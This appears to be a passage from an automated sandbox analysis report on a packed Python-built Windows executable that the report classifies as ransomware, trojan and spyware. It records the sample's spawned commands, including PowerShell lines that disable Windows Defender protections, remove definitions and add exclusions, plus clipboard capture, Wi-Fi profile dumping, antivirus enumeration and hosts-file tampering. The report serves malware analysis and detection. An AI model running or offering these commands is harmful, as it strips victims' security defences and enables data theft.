              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39F5B074_2_00007FF70F39F5B0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39D45874_2_00007FF70F39D458
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B546874_2_00007FF70F3B5468
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37A50474_2_00007FF70F37A504
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38236074_2_00007FF70F382360
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3A037474_2_00007FF70F3A0374
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C832C74_2_00007FF70F3C832C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39C3E074_2_00007FF70F39C3E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C226874_2_00007FF70F3C2268
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38E21C74_2_00007FF70F38E21C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F39724474_2_00007FF70F397244
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F37F24C74_2_00007FF70F37F24C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3742E074_2_00007FF70F3742E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3C131474_2_00007FF70F3C1314
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B02A474_2_00007FF70F3B02A4
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38D2C074_2_00007FF70F38D2C0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B216474_2_00007FF70F3B2164
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38118074_2_00007FF70F381180
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3D41CC74_2_00007FF70F3D41CC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B81CC74_2_00007FF70F3B81CC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: String function: 00007FF70F388444 appears 48 times
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: String function: 00007FF70F3B49F4 appears 53 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE007DC16F appears 334 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE00761325 appears 517 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE007DC265 appears 48 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE007DC93D appears 69 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE007DC931 appears 39 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFDFF19A4B0 appears 161 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFDFF1C1940 appears 38 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE11ECF350 appears 67 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFDFF199330 appears 136 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE0EB3DC68 appears 68 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FF6FFD12B10 appears 47 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE007DC181 appears 1187 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE0EB3DB38 appears 47 times
              Source: C:\Users\user\Desktop\Built (1).exeCode function: String function: 00007FFE007DC17B appears 38 times
              Source: rar.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
              Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
              Source: Built (1).exeBinary or memory string: OriginalFilename vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000000.1621234936.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameRuntimeBroker.exej% vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621395305.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibsslH vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1910175387.00007FFE1A469000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1909114765.00007FFE130CC000.00000004.00000001.01000000.00000012.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1908969392.00007FFE126FC000.00000004.00000001.01000000.00000008.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1908493886.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1905145663.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameRuntimeBroker.exej% vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1909476029.00007FFE13398000.00000004.00000001.01000000.0000000C.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1909256425.00007FFE1320C000.00000004.00000001.01000000.0000000D.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1910018027.00007FFE148E4000.00000004.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1906572307.00007FFDFB1B0000.00000004.00000001.01000000.00000010.sdmpBinary or memory string: OriginalFilenamelibcryptoH vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1907459490.00007FFDFB897000.00000004.00000001.01000000.00000004.sdmpBinary or memory string: OriginalFilenamepython312.dll. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1909652038.00007FFE14649000.00000004.00000001.01000000.00000009.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1905625275.00007FFDFACAA000.00000004.00000001.01000000.00000013.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpBinary or memory string: OriginalFilenamelibsslH vs Built (1).exe
              Source: Built (1).exe, 00000001.00000002.1908673577.00007FFE11EE3000.00000004.00000001.01000000.0000000A.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs Built (1).exe
              Source: Built (1).exeBinary or memory string: OriginalFilenameRuntimeBroker.exej% vs Built (1).exe
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              Source: libcrypto-3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.999059198943662
              Source: libssl-3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9916915494109948
              Source: python312.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9992940650795991
              Source: sqlite3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9977444556451613
              Source: unicodedata.pyd.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9945046482974911
              Source: classification engineClassification label: mal100.rans.troj.adwa.spyw.evad.winEXE@155/47@2/2
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD18770 GetLastError,FormatMessageW,WideCharToMultiByte,0_2_00007FF6FFD18770
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,74_2_00007FF70F38EF50
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3BB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,74_2_00007FF70F3BB57C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F393144 GetDiskFreeSpaceExW,74_2_00007FF70F393144
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8952:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9180:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8024:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8720:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8800:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8908:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9036:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9096:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8756:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8212:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8536:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8468:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8332:120:WilError_03
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8316:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8972:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8252:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8900:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8460:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8004:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8680:120:WilError_03
              Source: C:\Users\user\Desktop\Built (1).exeMutant created: \Sessions\1\BaseNamedObjects\z
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282Jump to behavior
              Source: Built (1).exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
              Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeFile read: C:\Users\desktop.ini
              Source: C:\Users\user\Desktop\Built (1).exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
              Source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
              Source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
              Source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
              Source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
              Source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
              Source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
              Source: Built (1).exeReversingLabs: Detection: 55%
              Source: Built (1).exeString found in binary or memory: set-addPolicy
              Source: Built (1).exeString found in binary or memory: id-cmc-addExtensions
              Source: Built (1).exeString found in binary or memory: OINT: if this variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice. These variables have equivalent command-line options (see --help for details): PYTHONDEBUG
              Source: Built (1).exeString found in binary or memory: OINT: if this variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice. These variables have equivalent command-line options (see --help for details): PYTHONDEBUG
              Source: Built (1).exeString found in binary or memory: --help
              Source: Built (1).exeString found in binary or memory: --help
              Source: Built (1).exeString found in binary or memory: can't send non-None value to a just-started async generator
              Source: Built (1).exeString found in binary or memory: can't send non-None value to a just-started generator
              Source: Built (1).exeString found in binary or memory: can't send non-None value to a just-started coroutine
              Source: C:\Users\user\Desktop\Built (1).exeFile read: C:\Users\user\Desktop\Built (1).exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\Built (1).exe "C:\Users\user\Desktop\Built (1).exe"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Users\user\Desktop\Built (1).exe "C:\Users\user\Desktop\Built (1).exe"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profile
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\getmac.exe getmac
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tree.com tree /A /F
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
